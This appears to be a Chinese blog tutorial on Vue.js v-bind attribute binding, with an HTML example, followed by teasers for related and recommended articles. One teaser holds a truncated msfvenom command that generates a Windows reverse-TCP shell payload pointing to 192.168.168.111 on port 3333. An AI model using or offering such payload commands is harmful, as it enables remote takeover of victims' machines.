v-bind：属性绑定；

当我们并没有使用v-bind使用的时候，突破不能显示出来，会提示错误，提示我们使用v-bind；

当我们使用v-bind时图片就可以显示：

v-bind的简写是冒号：

使用v-bind进行样式的修改：

进行对字符串的拼接：

以上实例总的代码：

<!DOCTYPE html>

<html>

    <head>

        <meta charset="UTF-8">

        <title>v-bind</title>

        <script src="../js/vue.js"></script>

        <script>

            window .onload= () =>{

                new Vue({

                el:"#one",

                data:{

                    imgurl:"https://cn.vuejs.org/images/logo.png",

                    myWidth:"120px",

                    myHeight:"240px",

                    fileName:"logo.png"

                },

                methods:{

                }

            });

            }

        </script>

    </head>

    <body>

        <div id="one">

        <!--    <img v-bind:src="imgurl" />-->

   <!--    <img :src="imgurl"  :width="myWidth"  :height="myHeight"/>-->

   <img :src="'../res/images/'+fileName"  :width="myWidth"  :height="myHeight"/>

        </div>

    </body>

</html>

v-bind属性的绑定的更多相关文章

  1. [vue]v-bind: sytle/class-bind&属性值绑定

    v-bind - style绑定 - class绑定 - 属性值绑定 <!DOCTYPE html> <html lang="en"> <head&g ...

  2. jquery的bind跟on绑定事件的区别

    jquery的bind跟on绑定事件的区别:主要是事件冒泡: jquery文档中bind和on函数绑定事件的用法: .bind(events [,eventData], handler) .on(ev ...

  3. wpf依赖属性、绑定实现原理、附加属性学习

    依赖属性和普通属性相比节省内存的原因:对于普通属性,每个对象有需要存储一个普通属性的值,即便是默认值.而依赖属性的默认值是静态的存储在类中的,所有对象都使用同一默认值,所以对于拥有大量属性的控件来说这 ...

  4. 最新iOS 6 in Xcode4.5新特性——Storyboard和属性自动绑定

    最新iOS 6 in Xcode4.5新特性编程之二(上)——Storyboard和属性自动绑定 从Xcode 4.3开始,Storyboard 就是iOS 5和iOS 6中令人兴奋的一个新特性,他将 ...

  5. 解决IE10以下对象不支持“bind”属性或方法

    IE10一下的浏览器,如果在JS代码中用了bind函数,那么就会报“SCRIPT438: 对象不支持“bind”属性或方法” 因为浏览器没有提供这个参数的方法,所以我们就自己写一个bind,来让这个参 ...

  6. Python面向对象-类、实例的绑定属性、绑定方法和__slots__

    绑定属性 从之前的文章中,我们知道python是动态语言——实例可以绑定任意属性. 那如果实例绑定的属性和类的属性名一样的话,会是什么情况呢? >>> class Student(o ...

  7. jQuery-介绍 加载 选择器 样式操作 属性操作 绑定click事件

    jQuery - 介绍 加载 选择器 样式操作 属性操作 绑定click事件 注意:以下部分问题不能实现效果,因该是单词拼写错误(少个t)或者没有加引号(“swing”)... jquery介绍 jQ ...

  8. WPF进阶技巧和实战08-依赖属性与绑定01

    依赖项属性 定义依赖项属性 注意:只能为依赖对象(继承自DependencyObject的类)添加依赖项属性.WPF中的元素基本上都继承自DependencyObject类. 静态字段 名称约定(属性 ...

  9. ASP.NET MVC 的自定义模型属性别名绑定

    最近在研究 ASP.NET MVC 模型绑定,发现 DefaultModelBinder 有一个弊端,就是无法实现对浏览器请求参数的自定义,最初的想法是想为实体模型的属性设置特性(Attribute) ...

  10. PLSQL_性能优化系列07_Oracle Parse Bind Variables解析绑定变量

    2014-09-25 Created By BaoXinjian

随机推荐

  1. Selenium基本使用(十三)测试中常见问题

    我们在使用selenium测试过程中,经常会遇到这样的问题: 1.frame或iframe <iframe id='frame1' name='frame1'> <input typ ...

  2. 回车和刷新以及Ctr+F5的区别

    回车(url跳转)主要是判断本地缓存文件的Expires的有效时间,如果有效则直接使用客户端缓存 不在提交到HTTP服务器 F5 Expires设置不再起效果,只有Last-Modified/ETag ...

  3. RCNN系列算法的发展

    一. RCNN系列的发展 1.1  R-CNN 根据以往进行目标检测的方法,在深度学习应用于目标检测时,同样首先尝试使用滑动窗口的想法,先对图片进行选取2000个候选区域,分别对这些区域进行提取特征以 ...

  4. rsync+inotify磁盘数据实时同步

    一.rsync+inotify主服务器部署 1.1安装rsync [root@nginx ~]# cd /usr/src/ [root@nginx src]# tar zxvf rsync-3.0.9 ...

  5. sql语句，加引号和不加引号的区别

    今天碰到个问题,查询数据的时候,显示表不存在,在可视化窗口确实能看见.试着给表名加个引号,发现能成功查询数据了.上网查询原因如下: 1.oracle表和字段是有大小写的区别.oracle默认是大写,如 ...

  6. idea创建java的web项目

    2. 3. 4. 5. 6. 步骤八: 点击那个倒立的三角形,然后点击Edit Configurations; 步骤八: 步骤九:配置tocat服务器 步骤十:哎,发现,我怎么就只有一个选项呀,art ...

  7. RabbitMQ的使用场景

    RabbitMQ的使用场景   1 大数据日志收集消息中间件应用场景     2 消息中间件在搜索系统DIH(伪实时)中的应用       伪实时的搜索系统:   后台系统:(作为生产者发送消息)   ...

  8. Msfvenom木马使用及TheFatRat工具

    msfvenom –platform windows -p windows/x64/shell/reverse_tcp LHOST=192.168.168.111 LPORT=3333 EXITFUN ...

  9. Keep On Movin (贪心)

    #include<bits/stdc++.h> using namespace std; int main(){ int T, n, a;scanf("%d",& ...

  10. web api 跨域访问

    在工程中 Install-Package Microsoft.AspNet.WebApi.Cors 在 webapiconfig.cs中 config.EnableCors(); 在 控制器中, [E ...